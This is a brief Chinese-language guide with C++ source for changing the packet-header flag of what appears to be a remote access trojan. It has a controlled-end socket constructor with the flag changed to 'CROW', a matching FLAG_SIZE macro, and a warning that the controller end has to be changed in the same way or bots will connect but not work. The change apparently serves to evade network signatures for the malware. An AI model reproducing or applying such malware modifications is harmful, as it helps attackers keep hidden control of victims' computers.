被控端:
修改包头flag信息:
CClientSocket::CClientSocket()
{
WSADATA wsaData;
m_gFunc.WSAStartup(MAKEWORD(2, 2), &wsaData);
m_hEvent = m_gFunc.CreateEvent(NULL, TRUE, FALSE, NULL);
m_bIsRunning = false;
m_Socket = INVALID_SOCKET;
// Packet Flag;
//BYTE bPacketFlag[] = {'h', 'x', ' '};
BYTE bPacketFlag[] = {'C', 'R','O','W', ' '};
//2019年9月22日02:05:07修改数据包头信息
m_gFunc.memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));
}
修改一处宏定义:
#define FLAG_SIZE 5
主控端一样需要修改2个地方的位置,如果不修改FLAG_SIZE宏定义,会导致可以正常上线,但是无法使用一切功能。